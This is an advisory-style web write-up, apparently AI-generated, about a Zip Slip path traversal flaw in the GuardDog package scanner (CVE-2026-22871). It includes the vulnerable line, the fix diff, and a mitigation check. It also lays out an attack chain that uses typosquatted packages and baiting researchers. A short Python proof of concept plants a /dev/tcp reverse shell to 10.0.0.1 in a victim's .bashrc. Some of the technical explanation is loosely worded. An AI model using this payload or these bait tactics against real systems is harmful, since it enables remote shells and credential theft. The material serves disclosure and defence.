CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22871

CVE-2026-22871: When the Watchdog Bites the Hand That Feeds It

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 20, 2026·5 min read·69 visits

Executive Summary (TL;DR)

GuardDog < 2.7.1 contains a Zip Slip vulnerability. Scanning a malicious package allows the attacker to overwrite files (like ~/.bashrc) on the researcher's machine, leading to RCE.

GuardDog, a popular tool for identifying malicious PyPI packages, suffered from a critical path traversal vulnerability. Ironically, scanning a weaponized package could result in the researcher's machine being compromised via Arbitrary File Overwrite and Remote Code Execution (RCE). The flaw stemmed from improper usage of Python's `zipfile` library.

The Hook: The Ouroboros of Security Fails

There is a special place in the inferno of irony for security tools that become the very attack vector they were designed to prevent. Enter GuardDog, a CLI tool by DataDog used by researchers and CI pipelines to identify malicious PyPI packages. Its job is to sniff out bad code in the supply chain.

But prior to version 2.7.1, GuardDog had a nasty habit: it would blindly obey the directory structure of the packages it scanned, even if that structure meant writing outside the sandbox. This is the digital equivalent of a bomb disposal robot that detonates because it followed the "Press Here" sticker on the IED.

If you are a security researcher analyzing malware, or a DevSecOps engineer running GuardDog in your CI/CD pipeline, this vulnerability (CVE-2026-22871) meant that simply looking at a malicious package could compromise your entire system. The hunter becomes the hunted.

The Flaw: A Classic Case of "Helping" the Library

The vulnerability is a textbook implementation of Zip Slip (CWE-22), but with a twist. Usually, Zip Slip happens when developers use extractall() without sanitizing member names. In this case, the developer actually used the singular extract() method, which is generally safer because it handles some sanitization internally.

However, the developer tried to be helpful. Instead of letting the library decide where to put the file relative to the target directory, they manually constructed the absolute path using os.path.join before passing it to the library.

Here is the logic fail: Python's zipfile.extract(member, path) expects path to be the directory where the file should go. If you pass it a path that has already resolved .. sequences (which os.path.join does on the file system level), the library looks at it and says, "Okay, you want me to extract this file to /home/user/.bashrc? You're the boss!" It effectively bypassed the library's internal checks by feeding it a pre-poisoned path.

The Code: The Smoking Gun

Let's look at the diff in guarddog/utils/archives.py. This is a masterclass in how one line of "explicit" code can destroy your security model.

The Vulnerable Code:

# The dev manually joins the target dir with the potentially malicious filename
# BEFORE passing it to zip.extract.
zip.extract(file, path=os.path.join(target_directory, file))

If file is ../../../../etc/passwd and target_directory is /tmp/scan, os.path.join resolves this (depending on the OS and context) or simply constructs a path that the zipfile library interprets as the destination root. The library thinks the entire path is the output directory.

The Fix (Commit 9aa6a72):

# The fix is to stop helping. Just tell the library WHERE to extract,
# and let IT handle the filename sanitization.
- zip.extract(file, path=os.path.join(target_directory, file))
+ zip.extract(file, path=target_directory)

By passing only target_directory, the zipfile library takes the malicious filename ../../foo, strips the directory traversal characters (sanitizing it to just foo), and extracts it safely inside target_directory.

The Exploit: Weaponizing the Cure

Exploiting this is trivial and requires no sophisticated memory corruption—just a malformed zip file. Standard zip tools often prevent you from creating archives with ../ in filenames, but we're hackers; we write our own zip headers.

The Attack Chain:

  1. Craft the Payload: We create a Python script to generate a zip file. We add a file entry named ../../../../../../home/ubuntu/.ssh/authorized_keys (or .bashrc for persistence).
  2. Inject Content: We write our public SSH key or a reverse shell command into that entry.
  3. Bait the Trap: We publish this package to PyPI (typosquatting a popular lib) or send it to a researcher saying, "Hey, check out this suspicious package I found!"
  4. The Trigger: The victim runs guarddog scan malicious-pkg.zip.
  5. Game Over: GuardDog extracts the file. The traversal sequence escapes the temporary scan directory. The victim's SSH keys are overwritten. We now have shell access.
import zipfile
 
# Quick PoC Generator
zf = zipfile.ZipFile('exploit.zip', 'w')
# This file breaks out of the scan dir and drops a shell
zf.writestr('../../../../../home/victim/.bashrc', 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')
zf.close()

The Impact: Why You Should Care

This is rated Critical (CVSS 9.8) for a reason. While GuardDog isn't a long-running service exposing a port to the internet, it operates in high-trust environments.

CI/CD Poisoning: Many organizations run GuardDog in their CI pipelines to prevent supply chain attacks. If an attacker submits a PR that triggers a GuardDog scan, this vulnerability allows them to break out of the scan container, steal AWS credentials from the environment, or poison the build artifacts of the legitimate application.

Researcher Compromise: Security researchers are the primary user base. Compromising a researcher's machine often grants access to other sensitive vulnerabilities, private keys, and restricted networks. It is a high-value target for sophisticated actors.

The Mitigation: Leash Your Dog

The fix is straightforward: Update GuardDog to version 2.7.1 immediately. If you are using GuardDog in automated pipelines, force a rebuild of your container images to ensure the new version is pulled.

For developers writing file extraction logic:

  1. Never trust filenames inside an archive.
  2. Never perform manual path arithmetic on untrusted input before passing it to filesystem APIs.
  3. Use the zipfile module's built-in protections, or better yet, verify the canonical path of the destination:
dest_path = os.path.join(target_dir, member_name)
if not os.path.abspath(dest_path).startswith(os.path.abspath(target_dir)):
    raise Exception("Zip Slip attempt detected!")

Official Patches

DataDogOfficial patch on GitHub

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.63%
Top 30% most exploited

Affected Systems

Workstations of Security ResearchersCI/CD Pipelines (Jenkins, GitHub Actions, GitLab CI)Automated Malware Analysis Sandboxes

Affected Versions Detail

Product
Affected Versions
Fixed Version
guarddog
DataDog
< 2.7.12.7.1
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.19.8 (Critical)
Attack VectorNetwork (Malicious Package)
ImpactRCE / Arbitrary File Overwrite
Affected Componentguarddog.utils.archives.safe_extract
EPSS Score0.63%

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1574Hijack Execution Flow
Persistence
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

GitHubAdvisory describing the Zip Slip vector

Vulnerability Timeline

Patch Merged
2026-01-09
CVE Published
2026-01-13

References & Sources

  • [1]GitHub Advisory
  • [2]NVD Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•15 minutes ago•CVE-2026-92951
9.9

CVE-2026-92951: Sandbox Escape via External Package Allowlist Bypass in vm2

An incorrect authorization and directory traversal vulnerability in the vm2 library before version 3.11.7 allows remote attackers to bypass the sandbox's external package allowlist. This flaw permits sandboxed code to resolve and execute arbitrary packages available on the host filesystem under host privileges, leading to unauthenticated sandbox escape and host code execution.

Alon Barad
Alon Barad
3 views•6 min read
•about 1 hour ago•CVE-2026-92940
10.0

CVE-2026-92940: Host-Realm Credential Exposure and Socket Hijacking via globalAgent in vm2

A critical vulnerability in the Node.js sandbox library vm2 allows sandboxed code to retrieve the process-wide http.globalAgent and https.globalAgent singletons. By attaching event listeners to these host-realm emitters, sandboxed code can intercept host-realm network requests, capturing sensitive Authorization headers and hijacking active TLSSocket streams.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 2 hours ago•CVE-2026-92950
9.3

CVE-2026-92950: Sandbox Escape Vulnerability in vm2 CLI

CVE-2026-92950 (GHSA-jxxv-8r27-vm4p) is a critical sandbox escape vulnerability in the command-line interface of the vm2 library prior to version 3.11.7. The flaw allows untrusted scripts to bypass sandbox constraints and execute arbitrary system commands with the privileges of the host process by exploiting insecure default configurations of the module resolver.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 3 hours ago•CVE-2026-92948
9.9

CVE-2026-92948: Sandbox Escape and Remote Code Execution in vm2 via node:test

CVE-2026-92948 is a critical sandbox escape vulnerability in the vm2 library affecting versions 3.9.6 through 3.11.6 when executed on Node.js 24 and newer. The vulnerability allows an attacker to bypass built-in module blocking defenses by double-prefixing a restricted module name (such as node:node:test). This permits the loading of the node:test module, whose test runner execution can be leveraged to execute arbitrary shell commands outside the VM sandbox.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 4 hours ago•CVE-2026-92952
8.9

CVE-2026-92952: Sandbox Escape and State Corruption in vm2 via Node.js-internal Symbol Leak

A high-severity sandbox escape and state corruption vulnerability exists in the vm2 library (versions 3.11.4 through 3.11.6). The vulnerability is caused by an incomplete blocklist of Node.js-internal registered symbols crossing the sandbox-host bridge boundary. Specifically, the filters in `lib/setup-sandbox.js` and write traps in `lib/bridge.js` omitted the symbols `nodejs.stream.disturbed` and `nodejs.stream.errored`, allowing untrusted code within the sandbox to corrupt host-realm stream state checks.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 5 hours ago•CVE-2026-73607
5.8

CVE-2026-73607: Missing Authorization in SiYuan /api/storage/getOutlineStorage Leads to Information Disclosure

An architectural evaluation of CVE-2026-73607 in the SiYuan personal knowledge management system. This technical advisory details a Missing Authorization (CWE-862) vulnerability in the Go-based backend kernel, specifically within the outline storage API endpoint. Under certain configurations, authenticated low-privilege users can query metadata, heading structures, and block hierarchies of restricted documents.

Amit Schendel
Amit Schendel
7 views•7 min read